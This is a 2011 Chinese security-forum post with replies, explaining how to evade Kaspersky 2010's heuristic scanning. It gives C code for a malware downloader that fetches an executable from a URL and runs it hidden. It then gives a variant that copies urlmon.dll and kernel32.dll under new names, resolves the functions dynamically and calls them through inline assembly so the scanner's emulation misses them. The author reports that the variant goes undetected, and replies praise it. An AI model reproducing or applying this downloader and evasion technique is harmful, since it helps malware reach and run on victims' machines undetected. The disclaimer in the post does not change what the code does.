查看: 3819|回复: 18
收起左侧

分析卡巴斯基启发式扫描及绕过方案

[复制链接]
a445441
发表于 2011-7-25 09:38:28 | 显示全部楼层 |阅读模式
本帖最后由 a445441 于 2011-7-25 09:40 编辑

卡巴斯基2010有强大的启发式扫描,其实启发式扫描有很多弱点,有一个就是不能完全的模拟程序的运行环境,这就可能给我们留出来了一块空间来绕过启发式扫描,其实其它杀毒软件的启发式扫描都存在这些空间,下面就来分析一下卡巴斯基的启发式扫描吧!
首先要编一段程序来完成测试,程序一定要非常的针对启发式扫描这一块的,不然的话没有效果,选那段代码来测试呢?恩,有段代码启发式扫描几乎都要扫描的,那就是下载者的代码,一般的下载者代码如下:
int _tmain(int argc, _TCHAR* argv[])
{
URLDownloadToFileA(NULL,"http://www.hehe/yan.exe","c:\\yan.exe",0,NULL);
WinExec("C:\\yan.exe",SW_HIDE);
}
     上面代码应该是最熟悉的了,启发式扫描发现调用URLDownloadToFileA和WinExec就认为是病毒了,先写这么一个程序,放到卡巴斯基2010下测试如图: ad03a43b91c708c53b87ceb4.jpg
       
                
上图知道卡巴报下载者病毒,看来卡巴的启发式扫描起作用啦,经过测试,无论改成动态调用还是其它方案,只要调用Kennel32.dll中的WinExec和UrlMon.dll中的URLDownloadToFileA都无法躲过卡巴斯基的启发式扫描。
                                                       绕过分析
下面开始以启发式扫描的弱点来测试,那就是不能完全模拟程序运行环境的,当我们创建文件等操作时,在启发式扫描的环境中实际是没有操作的,那么方法诞生了,可以先复制一个Kernel32.dll的副本Kaba.dll,然后动态调用KaBa.dll中的WinExec函数,那么启发式扫描应该作废了,因为在启发式扫描的环境中根本不会真正的复制一个Kaba.dll文件,那么我们的动态调用就是未知的,所以我们的程序很安全。修改代码如下:
     char * Str="c:\\yan.exe";
     char * Url="http://www.hehe/yan.exe";
    CopyFileA("C:\\windows\\system32\\urlmon.dll","c:\\windows\\system32\\KaBaUrl.dll",true);
     LoadLibrary("KaBaUrl.dll");
     PVOID Dwon=GetProcAddress(GetModuleHandle("KaBaUrl.dll"),"URLDownloadToFileA");
     _asm
     {
         push 0
         push 0
         push Str
         push Url
         push 0
         call Dwon
     }
CopyFileA("c:\\windows\\system32\\kernel32.dll","c:\\windows\\system32\\KaBa.dll",true); LoadLibrary("KaBa.dll");
     PVOID Fun=GetProcAddress(GetModuleHandle("KaBa.dll"),"WinExec");
    _asm
     {
         push SW_HIDE
         push Str
         call Fun
}
上面代码生成的程序运行时,卡巴不会有任何反应,看来启发式扫描还有很大的缺点,最后希望卡巴斯基的启发式扫描越来越完善,到杀毒软件的启发式扫描能完全模拟程序运行环境时,那么启发式扫描可能就不叫启发式扫描了,呵呵。(声明:上面代码只做测试使用,凡是用于非法用途的,后果自负。)

评分

参与人数 1人气 +1 收起 理由
小v可 + 1 很好很强大~~

查看全部评分

思、密达
发表于 2011-7-25 10:05:58 | 显示全部楼层
不错,,,,,就是,为什么我不会
landseer20
发表于 2011-7-25 11:07:11 | 显示全部楼层
本帖最后由 landseer20 于 2011-7-25 11:48 编辑

很好,我也受启发了。

确切的说,这个方法对付杀软杀输入表函数比较有用。
wennyp
头像被屏蔽
发表于 2011-7-25 11:32:01 | 显示全部楼层
启发还有待完善。
landseer20
发表于 2011-7-25 11:46:03 | 显示全部楼层
本帖最后由 landseer20 于 2011-7-25 11:51 编辑

再来支持。
鬆哥
发表于 2011-7-25 22:45:15 | 显示全部楼层
完全看不懂,只能说我对程式很弱,看来我要好好恶补一下
超现实主义
发表于 2011-7-25 22:56:24 | 显示全部楼层
来学习了,不过看不懂啊。
blue_仰望
发表于 2011-7-25 23:00:55 | 显示全部楼层
纯粹支持。
522586971
头像被屏蔽
发表于 2011-7-25 23:19:32 | 显示全部楼层
学习了,个人觉得启发式扫描本来就有先天性的软肋。。
shangsrshui
发表于 2011-7-26 04:45:35 | 显示全部楼层
这个嘛,进来学习一下 BUG !哈哈!
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-1-19 14:21 , Processed in 0.135589 second(s), 25 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表